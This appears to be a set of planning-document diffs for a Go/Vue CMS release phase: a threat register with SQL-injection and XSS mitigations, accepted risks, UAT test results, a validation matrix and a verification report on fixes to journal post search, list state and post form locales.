| Post authors / import / Journal API → journal `content_html` | Markdown and raw HTML from admins, the import command and API writers is rendered and stored | Post HTML (stored, served to anonymous readers) |
| Journal API → public Nuxt layer → browser | Stored HTML is rendered with `v-html` on public pages | Post and category HTML |
| Admin browser storage | Remembered list queries persist across sessions on a shared browser | List query params per admin |
| Release workstation → origin / UAT server | Tags, pushes, binary upload and restarts | Source, binary, server state |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-16.1-01 | Tampering (SQLi) | modules/cabana/query.go relation search/sort | high | mitigate | Identifiers only from GORM's parsed relationship, quoted via `quotedIdent`/`qualifiedColumn`; polymorphic/unknown columns answer 422; search term `escapeLike`d and bound; sort limited to schema-declared columns and asc/desc; route behind `protect()` | closed |
| T-16.1-02 | Tampering / EoP (stored XSS) | sm-journal-plugin classes/format_html.go | medium | mitigate | Planned regex `rejectUnsafe` proved bypassable (CR-01, 16.1-REVIEW.md). Replaced by goldmark + bluemonday allow-list on every host `content_html` writer (admin, import, API) and `CheckHTML` for categories (sm-journal-plugin a3551f2; decision note `.planning/notes/journal-html-sanitizing-bluemonday.md`); 35-payload token-checked tests; public layer replaced its regex gate with sanitize-html (vue-journal-layer 5beb1c5). Deployed to UAT: host cbb4e7d, binary e1ba3587…148ceb (server sha256 checked by the orchestrator 2026-10-09) | closed |
| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query params stored; browser storage limited to listState.ts/useSidebar.ts (enforced by scripts/check-phase10.sh). WR-03 cross-admin leak fixed in cd25af0: keys scoped `summer-admin.list:<adminId>:<controller>`, all keys cleared on logout, session expiry (`expireSession` via `onUnauthorized`) and sign-in as another admin; legacy keys swept | closed |
| T-16.1-04 | Tampering | admin list state restore | low | mitigate | `readListState` validates shape and re-parses via `parseListQuery`; server re-validates page, per_page, sort and filters (422); a failed restored query is forgotten and the plain list reloads once (WR-02, cd25af0) | closed |
| T-16.1-05 | DoS | cabana relation search | low | accept | See AR-01 | closed |
| T-16.1-06 | Tampering (false-green release) | 16.1-02 release gate | medium | mitigate | Release sheet records `release-gate-ok`, counted smoke tests, vitest, dist and OpenAPI gates and the human decision verbatim (16.1-02-SUMMARY) | closed |
| T-16.1-07 | Tampering / Repudiation | summercms v0.1.16 tag and pushes | high | mitigate | Annotated tag on d77393b containing 06d75cb, bd8626e, 9cac45c; origin tag object d8e3536 matches local; journal and host heads on origin | closed |
| T-16.1-08 | Information Disclosure | UAT deploy | high | mitigate | DEPLOY.md rsync list excludes env files; no credentials in any SUMMARY; executors never requested or held credentials | closed |
| T-16.1-09 | Tampering | UAT database | medium | mitigate | Read-only psql/log checks only; post data changed only by two human admin saves; `.prev` binary kept for rollback | closed |
| T-16.1-10 | EoP | deploy sudo scope | low | accept | See AR-02 | closed |
| T-16.1-11 | Repudiation (false green) | 16.1-VALIDATION.md | medium | mitigate | Row 16.1-03-03 updated 2026-10-10 to the post-CR-01 test names; re-run gives four top-level PASS lines | closed |
| T-16.1-12 | Tampering / DoS | cabana DryRun tests | low | mitigate | DryRun DBs use `DryRun: true`, `DisableAutomaticPing`, `port=1` DSN; Postgres tests use testcontainers | closed |
| T-16.1-SC | Tampering (supply chain) | go.mod / package.json | high | mitigate | summercms.go adds no dependency; sm-journal-plugin adds bluemonday v1.0.27 (+ aymerick/douceur v0.2.0, gorilla/css v1.0.1), named in the decision note, hash-pinned, `go mod verify` clean; vue-journal-layer adds sanitize-html 2.18.0 with decision note docs/decisions/0001-sanitize-html.md | closed |
| T-16.1-13 (audit W-1) | Tampering (stored XSS, latent) | sm-journal-plugin translated `content_html` (API syncTranslations, import) | medium | mitigate | `classes.FormatTranslation` on every API and import locale write: derived from `content` or sanitized with the same policy; default-locale bypass covered (sm-journal-plugin 0d00ec8; harness tests TestJournalAPITranslatedContentHTML, TestJournalImportTranslatedContentHTML) | closed |
| T-16.1-14 (audit W-2) | Tampering | sm-journal-plugin FormatHTML byte-preserving shortcut (duplicate attributes) | low | mitigate | Raw attribute names compared with tokenizer output; duplicates store the sanitized output and CheckHTML refuses (sm-journal-plugin 5f47083; TestFormatHTMLDuplicateAttributes, TestRawAttrNames, TestCheckHTML cases) | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Accepted Risks Log
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|---------|------------|-----------|-------------|------|
| AR-01 | T-16.1-05 | Relation search uses EXISTS subqueries; the route is admin-only and page size is limited to schema options. The COUNT query evaluates EXISTS over every matching row, not one page; acceptable at current data sizes (≈100 posts) | 16.1-01 plan (accept disposition) | 2026-10-10 |
| AR-02 | T-16.1-10 | Deploy uses a narrow sudo scope (nginx -t/reload, supervisorctl) documented in DEPLOY.md | 16.1-02 plan (accept disposition) | 2026-10-10 |
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-10-10 | 13 (register) + 2 audit warnings | 13 | 2 (below high, non-blocking) | msd-security-auditor (ASVS L1, boundary checks for T-16.1-01/02/WR-03) |
| 2026-10-10 | 15 | 15 | 0 | orchestrator (T-16.1-13/14 fixed in 0d00ec8, 5f47083; tests re-run) |
Audit notes: the auditor flagged W-3 (public layer gate) and W-4 (no record of the a3551f2 UAT deploy). W-3 is resolved by vue-journal-layer 5beb1c5; W-4 is recorded in T-16.1-02 above. The admin preview (`modules/cabana/field_markdown.go`) stays in goldmark safe mode.
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [ ] `status: verified` set in frontmatter
**Approval:** pending (T-16.1-13/14 fixes and the combined release)

View File

@@ -0,0 +1,54 @@
---
status: complete
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
source: [16.1-VERIFICATION.md]
started: 2026-10-10T00:00:00Z
updated: 2026-10-10T01:00:00Z
---
## Current Test
[testing complete]
## Tests
### 1. Install the hardened staging vhost on UAT (root)
expected: Security headers present exactly once on public pages, /gfadmin unchanged in access, `nginx -t` passes
result: pass
evidence: |
2026-10-09 23:05 UTC via debian@ sudo. Backup /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl.bak-20261009T230555Z;
installed sha256 bce4d7f9…bd7c; `nginx -t` ok; reloaded. curl: /, a post, /_journal, a /storage 404 and /gfadmin each carry
HSTS, nosniff, X-Frame-Options DENY, Referrer-Policy, Permissions-Policy and CSP-Report-Only exactly once; /gfadmin keeps its
enforced CSP and Referrer-Policy same-origin, answers 200 without basic auth, locale cookie Secure; public paths still 401
off-server. On-server smoke (loopback): smoke: ok (98 urls); 200 pages show all six headers. Winter vhost untouched.
### 2. Posts list search on UAT
expected: Searching "cordyceps" at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts returns rows (no "The list could not be loaded")
result: pass
evidence: user confirmed on UAT 2026-10-10 ("Confirmed")
### 3. List state round trip on UAT (D-01, v0.1.17 build)
expected: Sort plus a category filter survive opening a post and back, "Zapisz i zamknij", and leaving via the plugin rail; the URL carries them; a pasted URL in a new tab shows the same list; after logout and login the list opens unfiltered; signing in as a different admin on the same browser shows no earlier admin's search
result: pass
evidence: user confirmed all three sub-checks on UAT 2026-10-10 (sort/filter survive navigation; URL round trip; cleared after logout)
### 4. Post form locales and fields on UAT (D-03)
expected: An imported post's form shows pl first with title, slug, content and excerpt filled
result: pass
evidence: user confirmed on UAT 2026-10-10
### 5. Review the prohibition verdicts
expected: The nine prohibition verdicts in 16.1-VERIFICATION.md (all "not violated") are acceptable
result: pass
evidence: user reviewed the nine verdicts and replied "approved" 2026-10-10 (notes: #6 UAT vhost installed, Winter vhost untouched; #3 translated content_html derived from content when both are sent, shapes unchanged)
## Summary
total: 5
passed: 5
issues: 0
pending: 0
skipped: 0
blocked: 0
## Gaps

View File

@@ -4,8 +4,8 @@ slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
status: draft
nyquist_compliant: false
wave_0_complete: false
nyquist_compliant: true
wave_0_complete: true
created: "2026-10-09"
---
@@ -45,16 +45,16 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ❌ W0 (created by the task) | ⬜ pending |
| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ❌ W0 (created by the task) | ⬜ pending |
| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ⬜ pending |
| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ⬜ pending |
| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ⬜ pending |
| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ⬜ pending |
| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ⬜ pending |
| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ❌ W0 `admin/tests/state/listState.test.ts` (created by the task) | ⬜ pending |
| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ⬜ pending |
| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case returns an error now that the gate is the only defence | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML\|TestFormatHTMLRejectsUnsafeHTML)$' -v ./classes/` | ✅ extend | ⬜ pending |
| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ✅ created (plan 01) | ✅ green |
| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ✅ green |
| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ✅ green |
| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ✅ green (plan 02: release-gate-ok, human approved v0.1.16) |
| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ✅ green (plan 02: smoke: ok (98 urls), sha256 match) |
| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ✅ green (plan 02: SQL check 0:1, no SQLSTATE 42703 since restart) |
| 16.1-03-01 | 03 | 3 | D-01 | T-16.1-11 | Storage helpers survive disabled storage; logout clears list keys only | unit (vitest) | `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts` | ✅ created (plan 03) | ✅ green |
| 16.1-03-02 | 03 | 3 | D-02, D-03 | T-16.1-11, T-16.1-12 | Polymorphic relations and unknown columns refused (422); search value never inlined into SQL | unit (DryRun) + Postgres (Docker host) | `go test -count=1 -run '^(TestListRelationSQL\|TestEnabledLocalesDefaultFirst)$' -v ./modules/cabana` | ✅ extend files from plan 01 | ✅ green (pure); ✅ Postgres green on Docker 2026-10-09/10 |
| 16.1-03-03 | 03 | 3 | D-03 | T-16.1-02, T-16.1-11 | Every unsafe case is sanitized (bluemonday, post-review CR-01 fix), scheme-like text and raw HTML survive, CheckHTML refuses unsafe category HTML | unit + journal harness (Docker host) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLSanitizesUnsafeHTML\|TestFormatHTMLKeepsSchemeLikeText\|TestFormatHTMLKeepsRawHTML\|TestCheckHTML)$' -v ./classes/` (four top-level PASS lines) | ✅ extend | ✅ green (pure); ✅ harness re-save green on Docker 2026-10-09/10 |
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
@@ -62,10 +62,10 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
## Wave 0 Requirements
- [ ] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
- [ ] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
- [ ] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
- [ ] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
- [x] `modules/cabana/query_relation_test.go` — DryRun harness (postgres dialector, never dialed; recording logger), relation fixtures (many2many, has_many, belongs_to) and the tracer smoke test; created by plan 01 Task 1, extended by plan 03 Task 2.
- [x] `modules/cabana/locale_order_test.go` — created by plan 01 Task 2 (smoke), extended by plan 03 Task 2.
- [x] `admin/tests/state/listState.test.ts` — created by plan 03 Task 1.
- [x] No framework install: GORM, the postgres dialector, testcontainers-go and vitest are already in go.mod / package.json.
---
@@ -87,7 +87,14 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
- [x] Sampling continuity: no 3 consecutive tasks without automated verify
- [x] Wave 0 covers all MISSING references
- [x] No watch-mode flags (`vitest run` through `npm test`; `go test -count=1`)
- [ ] Feedback latency < 60s (confirmed during execution)
- [ ] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
- [x] Feedback latency < 60s (confirmed during execution: the quick suite ran in 20 s on 2026-10-09)
- [x] `nyquist_compliant: true` set in frontmatter (after plan 03 records the green runs)
**Approval:** pending
## Recorded runs (plan 03, 2026-10-09, machine without Docker)
- Quick Go commands: four top-level `--- PASS` lines for `TestListRelationSearchSmoke`, `TestListRelationSQL`, `TestEnabledLocalesDefaultFirst` and `TestEnabledLocalesDefaultFirstSmoke`; `go -C ../sm-journal-plugin test -count=1 ./classes/` ok, with four top-level `--- PASS` lines for `TestFormatHTMLSanitizesUnsafeHTML`, `TestFormatHTMLKeepsSchemeLikeText`, `TestFormatHTMLKeepsRawHTML` and `TestCheckHTML` (updated 2026-10-10 after the CR-01 fix replaced `TestFormatHTMLRejectsUnsafeHTML`).
- Full local suite: `go vet ./...`, `go -C ../sm-journal-plugin vet ./...`, `TestDocsTree`, `npm --prefix admin run typecheck`, `npm --prefix admin test` (76 files, 1144 tests) and `scripts/check-admin-dist.sh` ("dist matches a fresh build") printed `phase-16.1-local-gate-ok`.
- Docker-host suites: still pending at plan 03 time (`TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` failed with "failed to create Docker provider", as designed). **Update 2026-10-10:** after the golem user joined the docker group, the full `go test -count=1 ./...` passed with Docker in summercms.go (37 packages, before and after cd25af0, and again for the v0.1.17 release) and in sm-journal-plugin, including `TestListQueryContract`, `TestListRelationSearchPostgres`, `TestPostsAdminResaveKeepsHTML` and the translation harness tests; the verifier re-ran them.
- Manual UAT rows: the plan 02 executor confirmed posts 53 and 64 by read-only SQL. The list-state, form-locale and search checks were reported by the human before the re-saves reached UAT, so they stay open for `/msd-verify-work`.
**Approval:** pending (manual UAT rows only; Docker-host suites green 2026-10-10)

View File

@@ -0,0 +1,274 @@
---
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
verified: 2026-10-09T23:05:00Z
status: passed
score: 32/33 must-haves verified
covered_files:
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-PLAN.md
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-SUMMARY.md
- admin/src/main.ts
- admin/src/state/listState.ts
- admin/src/state/useAuth.ts
- admin/src/state/useSidebar.ts
- admin/src/views/ListView.vue
- admin/tests/form/FormView.test.ts
- admin/tests/list/ListView.test.ts
- admin/tests/smoke/list.smoke.test.ts
- admin/tests/state/listState.test.ts
- admin/tests/state/useAuth.test.ts
- docs/backend/forms.md
- docs/backend/lists-and-filters.md
- modules/cabana/README.md
- modules/cabana/http.go
- modules/cabana/locale_order_test.go
- modules/cabana/query.go
- modules/cabana/query_relation_test.go
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- scripts/check-phase10.sh
covered_digest: "v2:sha256:7e043180d992853a3d04039e3304ee81d631fc8574eeec0e96264b3b6ad7873d"
behavior_unverified: 0
overrides_applied: 0
human_verification:
- test: "Install the hardened staging vhost as root: copy /srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf (host commits fc10094, 387d0f4) over /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl, run sudo nginx -t, reload nginx, and compare sha256 of the installed and uploaded copies"
expected: "nginx -t passes; curl -sI https://uat.grzybyfunkcjonalne.pl/ (on the server, resolved to loopback) shows Content-Security-Policy-Report-Only, X-Content-Type-Options, X-Frame-Options, Referrer-Policy and Permissions-Policy; /gfadmin keeps its auth_basic exemption; smoke.sh --url still ends 'smoke: ok ('"
why_human: "Needs root on the UAT server. Read-only check on 2026-10-09 23:00 UTC: the uploaded file has the CSP Report-Only header (count 1), the enabled vhost does not (count 0)"
- test: "UAT posts list search: in /gfadmin/golem15/journal/posts search 'cordyceps' (a category name)"
expected: "Rows appear; no 'The list could not be loaded.'; the Go log shows no SQLSTATE 42703 after 2026/10/09 22:47:29"
why_human: "Needs UAT basic auth and an admin login. Automated proof covers the SQL on real Postgres (TestListRelationSearchPostgres) and a clean log since the restart, but the Go log does not record successful searches, so it cannot show that a search ran on the real categories pivot"
- test: "UAT list state (D-01): set a sort and a category filter, open a post, press back; repeat with save-and-close; leave through the navigation rail and return; paste the URL in a new tab; log out and in"
expected: "Sort and filter survive every return and are in the URL; the pasted URL shows the same list; after logout and login the list opens unfiltered"
why_human: "Interactive flow behind UAT basic auth; the human report ('all works') predates the re-saves and the v0.1.17 deploy (which changed the storage key to be per admin), so it is not independent confirmation of the deployed build"
- test: "UAT post form (D-03): open any imported post"
expected: "The locale selector shows pl first; title, slug, content and excerpt are filled with the stored values"
why_human: "Visual check on real data. Supporting evidence: the UAT locales table has en at sort_order 1 and the default pl at sort_order 2, the exact order the fix reorders, and enabledContentLocales is covered by 12 unit cases"
- test: "Review the nine judgment-tier prohibitions in the Prohibitions section below"
expected: "Each LLM-judge verdict (all 'not violated') is accepted or overturned"
why_human: "unverified-prohibition: judgment tier, the verifier's verdict is non-authoritative"
---
# Phase 16.1: Journal admin urgent fixes Verification Report
**Phase Goal:** The Journal posts list and post form in the admin work on real imported data found on UAT. The fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
**Verified:** 2026-10-09T23:05:00Z
**Status:** human_needed
**Re-verification:** No, initial verification
All code, tests, tags, pushes and the deployed binary were checked against the repositories and the UAT server (read-only). Every automated must-have holds. What remains: the nginx vhost install, which needs root, and the browser checks on UAT that only a human can run.
## Goal Achievement
### Observable Truths
**Roadmap contract (success criteria derived from the goal)**
| # | Truth | Status | Evidence |
|---|-------|--------|----------|
| 1 | List search no longer fails with "Server error" on a belongsToMany relation | ✓ VERIFIED | `modules/cabana/query.go:369-449` builds `EXISTS (SELECT 1 FROM pivot AS cabana_p0 JOIN related AS cabana_r0 ...)` from `stmt.Schema.Relationships.Relations[field]`. `TestListRelationSearchPostgres` passed against real Postgres (run here through the Docker sudo path). The UAT Go log has 0 `SQLSTATE 42703` lines in the 32 lines since the 22:47:29 restart. |
| 2 | List sort and filters are remembered after opening a record and going back | ✓ VERIFIED | `ListView.vue:200-221` restores the stored query before the first request. `FormView.test.ts` "returning to the list keeps its query (D-01)" covers back, cancel, save-and-close and delete. 4 files / 144 tests pass; the full suite has 76 files / 1171 tests. |
| 3 | The post form shows the stored content | ✓ VERIFIED (code) | `http.go:986-993` moves `DefaultLocale` to index 0. `TestEnabledLocalesDefaultFirst` (12 cases) passes. The UAT `golem15_translate_locales` table has `en` at sort 1 and the default `pl` at sort 2, which confirms the root cause the fix targets. The on-UAT visual check is a human item. |
| 4 | The post form shows the stored excerpt | ✓ VERIFIED (code) | Same mechanism as #3: the excerpt lives in the host column, under the default locale. |
| 5 | Released as a summercms tag | ✓ VERIFIED | `git ls-remote`: v0.1.16 is d8e3536 on d77393b; v0.1.17 is c37de45 on c21fe36. v0.1.17 contains 06d75cb, bd8626e, 9cac45c, a8bce9c, 837922c and cd25af0. |
| 6 | Host is bumped | ✓ VERIFIED | Host HEAD 0b93ac2 equals origin/master. The journal gitlink is c60abc6, equal to sm-journal-plugin origin/main. The translate gitlink is 54cf93b, the vue app gitlink is ada03b2, and go.mod requires summercms v0.1.17. |
| 7 | UAT is redeployed | ✓ VERIFIED | Server sha256 is `e5b0ad28…3af232` and `.prev` is `e1ba3587…148ceb` (the CR-01 hotfix). The Go and Nuxt processes started at 22:47:28 and 22:47:32 UTC. |
| 8 | The staging smoke re-runs | ✓ VERIFIED | I re-ran it on the server myself (loopback resolve, GETs only): `smoke: ok (98 urls)` |
**16.1-01 must_haves**
| # | Truth | Status | Evidence |
|---|-------|--------|----------|
| 9 | belongsToMany search goes through EXISTS, with names taken from GORM's parsed relationship | ✓ VERIFIED | `relationSubquery` uses `gorm.Statement.Parse` and `Relationships.Relations`. TestListRelationSQL covers custom `joinForeignKey`/`joinReferences` pivot names. |
| 10 | hasMany, hasOne and belongsTo searches are correlated EXISTS; there is no outer JOIN, so a record is counted once | ✓ VERIFIED | `applyListSearch` (query.go:476-490). TestListRelationSQL checks there is no JOIN outside the subqueries next to `user_id = 7` and `id IN (3)`. The Postgres test gives total 1 for a post matching through 2 tags. |
| 11 | A to-many sort uses `string_agg` plus the PK tiebreak; a to-one sort keeps the join | ✓ VERIFIED | query.go:313-336; TestListRelationSQL covers both directions; the Postgres test gives [2 1] and [1 2] |
| 12 | Polymorphic relations and unknown columns give 422, never 500 | ✓ VERIFIED | query.go:378-390 refuses via `rel.Polymorphic` and `PrimaryValue`; TestListRelationSQL has 5 refusal cases |
| 13 | meta.enabledLocales lists the default locale first | ✓ VERIFIED | http.go:986-993, TestEnabledLocalesDefaultFirst(Smoke) |
| 14 | FormatHTML keeps imported raw HTML and dangerous markup is not stored on any write path | ✓ VERIFIED (superseded mechanism) | The plan's "refuses" became "strips" under the accepted decision note `notes/journal-html-sanitizing-bluemonday.md`, the CR-01 fix in a3551f2, which is stronger than the planned regex gate. All three write paths call FormatHTML: posts.go:213, import_posts.go:185, posts_helpers.go:511/567. Translations go through FormatTranslation (0d00ec8). Duplicate attributes are handled in 5f47083. TestFormatHTMLKeepsRawHTML and TestFormatHTMLSanitizesUnsafeHTML pass. |
| 15 | List params stay in the URL; stored per list; an empty query is never stored | ✓ VERIFIED | `listState.ts`. The key is now `summer-admin.list:<adminId>:<controller>` (the WR-03 fix in cd25af0 is stricter than the plan's key). `writeListState` removes the key on an empty query. |
| 16 | Entry without params restores before the first request; URL params win; logout removes every stored query | ✓ VERIFIED | ListView.vue watch; `clearUser()` calls `setListStateOwner(null)`, which removes all list keys. `main.ts:27` sends `onUnauthorized` to `expireSession`. Covered by vitest. |
| 17 | Commits staged by path, holding only this plan's files; the journal commit in its own repo | ✓ VERIFIED | `git show --name-only` for 06d75cb, bd8626e and 9cac45c matches the plan. The one extra file in 9cac45c (`list.smoke.test.ts`) is a documented deviation. 528d2d8 is in sm-journal-plugin. |
| 18 | go vet clean; smoke tests, vitest, TestDocsTree and the dist check green | ✓ VERIFIED | Re-run here: `go vet ./...` ok, both repos' vet ok, TestDocsTree ok, `check-admin-dist.sh` printed "matches a fresh build", vitest 1171/1171 |
**16.1-02 must_haves**
| # | Truth | Status | Evidence |
|---|-------|--------|----------|
| 19 | An annotated tag containing every 16.1-01 commit is on origin | ✓ VERIFIED | v0.1.16 and v0.1.17 are both on origin (see #5) |
| 20 | sm-journal-plugin main with the require is on origin; the host gitlink points at it; README and DEPLOY.md lost the re-save warning | ✓ VERIFIED | c60abc6 equals origin/main and requires v0.1.17. Host gitlink c60abc6. `grep -ci 'omitted\|re-sav'` gives 0 in both README.md and DEPLOY.md. |
| 21 | UAT runs the build; sha256 matches; both programs run; `.prev` kept; smoke ok | ✓ VERIFIED | See #7 and #8. I could not compare against the local build byte for byte; the server hash matches the release record. |
| 22 | After the restart, no SQLSTATE 42703 (and search returns rows) | ✓ VERIFIED (log + Postgres test) | 0 in 32 lines since 22:47:29. The human search on UAT is a human item. |
| 23 | Posts 53 and 64 repaired: no placeholder, post 64 has its footer | ✓ VERIFIED | Read-only psql now prints `0:1`. The public page `/blog/ekstrakt-z-turkey-tail` renders `<footer class="author-footer" itemscope="" ...>`, and the footer CSS is in `entry.Djv1o0WC.css`. |
| 24 | D-01 and D-03 checked on UAT by a human (end-of-phase check) | ? UNCERTAIN (human) | The human's report predates the re-saves and the v0.1.17 deploy, so it does not count as confirmation. Routed to Human Verification. |
**16.1-03 must_haves**
| # | Truth | Status | Evidence |
|---|-------|--------|----------|
| 25 | Every piece of 16.1 code has unit tests | ✓ VERIFIED | listState.test.ts, ListView/FormView/useAuth tests, TestListRelationSQL, TestEnabledLocalesDefaultFirst, FormatHTML tests, all passing |
| 26 | Form back, cancel, save-and-close and delete land with the stored query, and the first request carries it | ✓ VERIFIED | FormView.test.ts D-01 block passes |
| 27 | ListView entry logic: restore, URL wins, cleared controls, same-list navigation, 422, page clamp | ✓ VERIFIED | ListView.test.ts "list state entry logic (D-01)" passes. cd25af0 adds recovery from any failed restore (WR-02). |
| 28 | listState helpers: prefix, malformed values dropped, empty query not stored, throwing storage, clear keeps the sidebar key | ✓ VERIFIED | listState.test.ts passes |
| 29 | DryRun SQL matrix (custom pivot keys, self-reference, soft delete, polymorphic, bound and LIKE-escaped values, no outer JOIN, sorts) | ✓ VERIFIED | `--- PASS: TestListRelationSQL` |
| 30 | enabledContentLocales cases | ✓ VERIFIED | `--- PASS: TestEnabledLocalesDefaultFirst` |
